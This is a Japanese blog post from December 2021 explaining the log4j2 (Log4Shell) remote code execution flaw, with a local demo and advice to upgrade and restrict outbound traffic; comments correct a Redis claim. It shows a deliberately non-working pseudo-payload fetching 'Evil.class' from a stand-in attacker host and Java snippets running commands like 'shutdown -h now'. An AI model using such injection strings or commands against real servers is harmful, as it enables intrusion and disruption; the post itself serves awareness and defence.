🐥

log4j2の脆弱性を使って実際に任意コード実行してみました👀

2021/12/11に公開
3

こんにちは。かえると言います。

Twitterでは https://twitter.com/harukaeru_en で活動しています。日本人です。

日本語版: https://twitter.com/harukaeru1981

何番煎じかわかりませんが、log4j2の任意コード実行ができるようなので、実際に実行してみて、どれぐらい危険なのかをここに書くことにしました。

どういう脆弱性なのか?(TL;DR)

簡単にいうと、Webサイトやゲームサーバなどのテキストボックスで

#{http://evil-codes.jp/Evil.class}

のように書くと、そこのサイトにあるJavaのclassファイルを、標的のサーバ内で実行することができます。(実際はこれとはちょっと書き方は違っていて、これは擬似コードなので動きません)

標的のサーバでは、そのclassファイルを使って自由にコマンドを呼び出せます。

↓のように、こういったコマンドをjavaファイルの中に書いてあげれば、特に権限設定がされていない場合はシェルレベルまで呼び出すことができます。

Evil.javaの一部
String[] cmds = new String[]{"shutdown", "-h", "now"};

なので、攻撃者が用意周到なら、サーバのシャットダウンから個人情報漏洩、コンピュータのゾンビ化までいろいろできるようなものだと思います。

対策ですが、基本的に、急いでパッチを作ってくれている偉大な技術者の方のおかげで、現在は小康状態にあり、最新版にアップデートすれば直るものが多くなっているようです。最新版のlog4j2 2.15.0では直っています。

危険度としては、CVSS Scoreという脆弱性の危険性評価のスコアがあるのですが、それの10点満点中10点のようです。つまりとても危険です。

攻撃のしくみ

すでにやり方はかなり広まっているのですが、ここでも同じように詳しく書いて世に知らしめるべきではないし、悪いハッカーになりたいだけの人を増やしたくないと思っているので、簡潔にしくみだけを説明したいと思います。

攻撃者が攻撃を実行するには、

  • classファイルを置くサーバを用意
  • classファイルを取りにいくためのプロキシサーバを用意

という2つのものが必要になります。

log4j2を使っているサーバでは、攻撃に使われた #{http://evil-codes.jp/Evil.class} という文字列を見て、そのクラスファイルをプロキシサーバ経由で取りに行って、それを実行します。

ぼくは最初「マジ?」と思ったのですが、マジでした。

実際どんな感じでやられるのか

これがサーバだと思ってください👀

実際にはここの #{〜〜〜}の部分がユーザーからの入力になったりします。

$ java -cp target/my-app-1.0-SNAPSHOT.jar:target/dependency/log4j-api-2.14.1.jar:target/dependency/log4j-core-2.14.1.jar com.mycompany.app.App
Hello
19:08:00.958 [main] ERROR com.mycompany.app.App - #{http://evil-codes.jp/Evil.class}

実行するとエラーが出ただけで問題がないように見えますが、実行自体はされてしまっています。

たとえばこのように書かれた文字列配列がわたされると、

Evil.javaの一部
  String[] cmds = new String[]{"brew", "install", "vim"};

クライアントからのリクエストをさばいているだけなのに、vimをインストールすることになっています。これはかなり危険です。(ちなみにbrewというのはMacのHomebrewのコマンドです)

対策

Javaが使われていたら基本的にlog4j2が使われているかどうかチェックすべきで、対策としては、やはり最新版にあげるのがいちばんいいと思います。

2021/12/11現在での最新版のlog4j2 2.15.0に対応しているライブラリは今朝見た限りでは30でしたが、今は90ぐらいになっているようです。

Javaが使われているのは、有名どころでいうと、Struts / ElasticSearch / Minecraftでしょうか。

実はさきほどMinecraftで任意コード実行しようとしていたのですが、どうもすでにクライアントでも対策されているようで再現できませんでした。仕事が早い……

↓log4j2が使われているかどうかはgrepなどでも確認できます。malware判定のルールまで作っているようです。

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#grep--zgrep

また、k8sやクラウドサービスを使うなどして、アウトバウンド通信を制限している組織では、クラスファイルをダウンロードできないので、軽傷で済むのではないでしょうか。日頃のネットワークのセグメント管理がこういうときに活きるのだなとあらためて感じました👀

これを期に「オンプレではなくクラウドでVPC管理しよう」とか「この際他の古いライブラリもバージョンアップしよう」という機運が高まればいいなと思います🐹

Reference

↓ Minecraftの重要セキュリティの記事です

https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition
https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition

おわりに

「それは違う!」という部分があればご指摘していただけると助かります。

Discussion

Kazuki HASEGAWAKazuki HASEGAWA

Javaが使われているのは、有名どころでいうと、Struts / Redis / ElasticSearch / Minecraftでしょうか。

Redis、こちらのRedisのことでしょうか?
https://github.com/redis/redis

私の理解ではC言語で書かれており、今回の問題の影響の外だと思っていました。

かえるかえる

@nanasi880
ありがとうございます。redisなのですが、再度調べたところ12/11に出た記事によると、直接的な影響はないということでした。ニュースソースでredisに影響ありと書かれていたので、深く考えず書いた次第です。
この記事からは消しておきます👀

https://redis.com/security/notice-apache-log4j2-cve-2021-44228/

Kazuki HASEGAWAKazuki HASEGAWA

Redisエンジンそれ自体は関係無さそうですが、Redis Enterprise CloudのAPI実装に一部利用されていて、現時点では既に軽減措置がとられている、という影響があったみたいですね
追加情報のリンクありがとうございました。